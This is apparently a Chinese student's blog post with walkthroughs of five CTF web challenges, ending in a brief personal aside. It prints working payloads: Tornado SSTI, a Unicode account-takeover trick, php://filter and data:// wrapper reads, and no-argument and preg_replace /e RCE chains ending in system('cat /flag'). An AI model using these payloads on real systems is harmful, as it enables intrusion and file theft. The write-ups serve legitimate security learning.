上班
1.[护网杯 2018]easy_tornado
考点:
MD5加密
ssti注入
开局三个超链接
点进去看
提示了render加上标题easy_tornado想到ssti注入
render()是tornado里的函数,可以生成html模板。是一个渲染函数 ,就是一个公式,能输出前端页面的公式。
总结:
1. render方法的实质就是生成template模板;
2. 通过调用一个方法来生成,而这个方法是通过render方法的参数传递给它的;
3. 这个方法有三个参数,分别提供标签名,标签相关属性,标签内部的html内容
4. 通过这三个参数,可以生成一个完整的木模板
tornado是用Python编写的Web服务器兼Web应用框架,简单来说就是用来生成模板的东西。和Python相关,和模板相关,就可以推测这可能是个ssti注入题了。
看见传参 就传试试
然后报错了
看见msg也可以传
再传试试 用俩花括号是因为
Tornado templates support control statements and expressions. Control
statements are surrounded by {% %}, e.g. {% if len(items) > 2 %}.
Expressions are surrounded by {{ }}, e.g. {{ items[0] }}
看见有回显
再传2回显orz就说明符合ssti注入
然后就是之前看到的cookie_secret
cookie_secret在Application对象settings的属性中 ,访问它的话就需要知道它的属性名字
上网查到:self.application.settings有一个别名是RequestHandler.settings
其中handler又是指向处理当前这个页面的RequestHandler对象
RequestHandler.settings指向self.application.settings
因此handler.settings指向RequestHandler.application.settings
然后再根据之前的secret_cookie转md5
最后的payload
file?filename=/fllllllllllllag&filehash=a8d61d7f9d4b11e297b6a479b20b7de1
2.[HCTF 2018]admin
解法1:
开局点开菜单里面再点就有登录
界面
用admin登陆试试
也有账号注册功能
看来admin这个账号存在
试试弱密码123
可还行
解法2:
注册发现
在password change里面看见源码
直接去康康就变代码审计了
看见里面twisted的版本很低
再利用这里nodeprep.prepare函数将unicode字符ᴬ转换成A,
而A再次调用nodeprep.prepare函数会把A转换成a
就可以考虑注册登陆ᴬᴰᴹᴵᴺ再修改密码了
再登录的时候直接用admin
3.[RoarCTF 2019]Easy Java
考点:
web.xml泄露
filter伪协议读取
这题也是个登陆的
但登录是个噱头
点进help看见这个
查到这个是WEB-INF/web.xml泄露
把get改post
再读
再64解码就来了
4.[GXYCTF2019]禁止套娃
开局啥也没有(感觉被戏弄 f12也没看见啥 就用dirsearch搜
看见.git目录,猜测存在.git源码泄露
用githack下载.git发现有东东
然后就发现源码
<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
// echo $_GET['exp'];
@eval($_GET['exp']);
}
else{
die("还差一点哦!");
}
}
else{
die("再好好想想!");
}
}
else{
die("还想读flag,臭弟弟!");
}
}
// highlight_file(__FILE__);
?>
这里三个if都在正则匹配过滤
第一个过滤几个伪协议
第二个
(?R)是引用当前表达式,(?R)? 这里多一个?表示可以有引用,也可以没有。
引用一次正则则变成了[a-z,_]+\([a-z,_]+\((?R)?\)\),可以迭代下去,
那么它所匹配的就是print(echo(1))、a(b(c()));类似这种可以括号和字符组成的,
这其实是无参数RCE比较典型的例子,
第三个过滤et/na/info等一些关键字嘛
用scandir列出指定目录中的文件和目录,无参就列出当前目录的文件
payload
?exp=print_r(scandir(current(localeconv())));
next()函数讲内部指针指向数组中的下一个元素,并输出
?exp=print_r(next(array_reverse(scandir(current(localeconv())))));
最后的payload用highlight_file显示代码
?exp=highlight_file(next(array_reverse(scandir(current(localeconv())))));
5.[BJDCTF2020]ZJCTF,不过如此
如题 不过如此的代码审计
<?php
error_reporting(0);
$text = $_GET["text"];
$file = $_GET["file"];
if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
die("Not now!");
}
include($file); //next.php
}
else{
highlight_file(__FILE__);
}
?>
用伪协议匹配后面的句子再用伪协议包括一下next.php
payload
/?text=data:text/plain,I%20have%20a%20dream&file=php://filter/read=convert.base64-encode/resource=next.php
然后得到一串base64解码得下面
<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;
function complex($re, $str) {
return preg_replace(
'/(' . $re . ')/ei',
'strtolower("\\1")',
$str
);
}
foreach($_GET as $re => $str) {
echo complex($re, $str). "\n";
}
function getFlag(){
@eval($_GET['cmd']);
}
这应该是next.php
主要就是绕过正则执行eval
然后
直接传.*由于php字符解析 .会被替代成下划线
所以我们换个元字符\S
\S表示匹配非空格以外的所有字符
\S*=${phpinfo()}
然后就最后的payload咯
/next.php?\S*=${getFlag()}&cmd=system("cat%20/flag");
下班
每周一苦涩
在家待了一个假期
腿废了
和以前跑马拉松的队友碰见了
想跟着他跑
直接被拉好几圈
呜呜
太菜了 还是老老实实学安全把 难受